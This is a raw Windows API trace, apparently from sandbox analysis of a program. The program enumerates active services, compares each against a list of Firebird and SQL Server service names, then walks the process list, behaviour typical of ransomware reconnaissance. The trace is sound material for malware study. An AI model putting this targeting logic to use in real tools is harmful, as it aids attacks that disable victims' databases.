	[0161.055] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x39289f8
	[0161.055] EnumServicesStatusExW (in: hSCManager=0x74f490, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x39289f8, cbBufSize=0x1bc4, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x39289f8, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0161.056] CloseServiceHandle (hSCObject=0x74f490) returned 1
	[0161.056] lstrlenW (lpString="AppXSvc") returned 7
	[0161.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0161.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0161.056] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0161.056] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0161.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0161.056] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0161.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0161.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0161.056] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0161.056] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0161.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0161.056] lstrlenW (lpString="Audiosrv") returned 8
	[0161.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0161.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0161.057] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0161.057] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0161.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0161.057] lstrlenW (lpString="BFE") returned 3
	[0161.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0161.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0161.057] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0161.057] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0161.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0161.057] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0161.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0161.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0161.057] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0161.057] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0161.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0161.057] lstrlenW (lpString="CDPSvc") returned 6
	[0161.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0161.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0161.057] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0161.057] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0161.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0161.057] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0161.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0161.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0161.057] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0161.057] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0161.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0161.057] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0161.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0161.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0161.057] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0161.057] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0161.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0161.058] lstrlenW (lpString="CryptSvc") returned 8
	[0161.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0161.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0161.058] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0161.058] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0161.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0161.058] lstrlenW (lpString="DcomLaunch") returned 10
	[0161.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0161.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0161.058] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0161.058] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0161.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0161.058] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0161.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0161.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0161.058] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0161.058] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0161.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0161.058] lstrlenW (lpString="Dhcp") returned 4
	[0161.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0161.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0161.058] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0161.058] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0161.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0161.058] lstrlenW (lpString="Dnscache") returned 8
	[0161.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0161.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0161.058] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0161.058] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0161.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0161.058] lstrlenW (lpString="DPS") returned 3
	[0161.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0161.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0161.059] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0161.059] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0161.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0161.059] lstrlenW (lpString="DusmSvc") returned 7
	[0161.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0161.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0161.059] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0161.059] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0161.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0161.059] lstrlenW (lpString="EventLog") returned 8
	[0161.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0161.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0161.059] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0161.059] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0161.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0161.059] lstrlenW (lpString="EventSystem") returned 11
	[0161.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0161.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0161.059] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0161.059] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0161.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0161.059] lstrlenW (lpString="FontCache") returned 9
	[0161.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0161.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0161.059] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0161.059] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0161.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0161.059] lstrlenW (lpString="gpsvc") returned 5
	[0161.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0161.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0161.059] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0161.059] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0161.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0161.060] lstrlenW (lpString="iphlpsvc") returned 8
	[0161.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0161.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0161.060] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0161.060] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0161.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0161.060] lstrlenW (lpString="KeyIso") returned 6
	[0161.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0161.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0161.060] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0161.060] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0161.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0161.060] lstrlenW (lpString="LanmanServer") returned 12
	[0161.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0161.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0161.060] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0161.060] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0161.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0161.060] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0161.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0161.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0161.060] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0161.060] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0161.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0161.060] lstrlenW (lpString="lfsvc") returned 5
	[0161.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0161.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0161.060] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0161.060] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0161.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0161.060] lstrlenW (lpString="lmhosts") returned 7
	[0161.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0161.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0161.060] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0161.061] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0161.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0161.061] lstrlenW (lpString="LSM") returned 3
	[0161.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0161.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0161.061] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0161.061] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0161.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0161.061] lstrlenW (lpString="MpsSvc") returned 6
	[0161.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0161.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0161.061] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0161.061] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0161.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0161.061] lstrlenW (lpString="NcbService") returned 10
	[0161.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0161.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0161.061] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0161.061] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0161.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0161.061] lstrlenW (lpString="netprofm") returned 8
	[0161.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0161.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0161.061] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0161.061] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0161.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0161.061] lstrlenW (lpString="NgcSvc") returned 6
	[0161.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0161.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0161.061] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0161.061] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0161.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0161.061] lstrlenW (lpString="NlaSvc") returned 6
	[0161.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0161.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0161.062] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0161.062] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0161.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0161.062] lstrlenW (lpString="nsi") returned 3
	[0161.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0161.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0161.062] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0161.062] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0161.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0161.062] lstrlenW (lpString="PcaSvc") returned 6
	[0161.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0161.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0161.062] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0161.062] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0161.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0161.062] lstrlenW (lpString="PlugPlay") returned 8
	[0161.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0161.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0161.062] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0161.062] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0161.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0161.062] lstrlenW (lpString="Power") returned 5
	[0161.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0161.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0161.062] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0161.062] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0161.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0161.062] lstrlenW (lpString="ProfSvc") returned 7
	[0161.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0161.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0161.062] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0161.062] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0161.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0161.063] lstrlenW (lpString="RpcEptMapper") returned 12
	[0161.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0161.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0161.063] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0161.063] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0161.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0161.063] lstrlenW (lpString="RpcSs") returned 5
	[0161.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0161.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0161.063] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0161.063] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0161.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0161.063] lstrlenW (lpString="SamSs") returned 5
	[0161.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0161.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0161.063] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0161.063] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0161.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0161.063] lstrlenW (lpString="Schedule") returned 8
	[0161.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0161.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0161.063] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0161.063] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0161.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0161.063] lstrlenW (lpString="SecurityHealthService") returned 21
	[0161.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0161.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0161.063] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0161.063] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0161.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0161.063] lstrlenW (lpString="SENS") returned 4
	[0161.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0161.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0161.064] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0161.064] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0161.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0161.064] lstrlenW (lpString="ShellHWDetection") returned 16
	[0161.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0161.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0161.064] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0161.064] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0161.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0161.064] lstrlenW (lpString="Spooler") returned 7
	[0161.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0161.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0161.064] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0161.064] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0161.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0161.064] lstrlenW (lpString="StateRepository") returned 15
	[0161.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0161.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0161.064] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0161.064] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0161.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0161.064] lstrlenW (lpString="SysMain") returned 7
	[0161.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0161.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0161.064] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0161.064] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0161.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0161.064] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0161.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0161.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0161.064] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0161.064] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0161.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0161.065] lstrlenW (lpString="Themes") returned 6
	[0161.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0161.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0161.065] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0161.065] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0161.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0161.065] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0161.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0161.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0161.065] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0161.065] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0161.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0161.065] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0161.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0161.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0161.065] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0161.065] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0161.065] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x39289f8 | out: hHeap=0x710000) returned 1
	[0161.065] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x380
	[0161.101] Process32FirstW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0161.102] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0161.102] lstrlenW (lpString="System") returned 6
	[0161.102] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0161.102] lstrlenW (lpString="smss.exe") returned 8
	[0161.103] Process32NextW (in: hSnapshot=0x380, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0161.103] lstrlenW (lpString="csrss.exe") returned 9
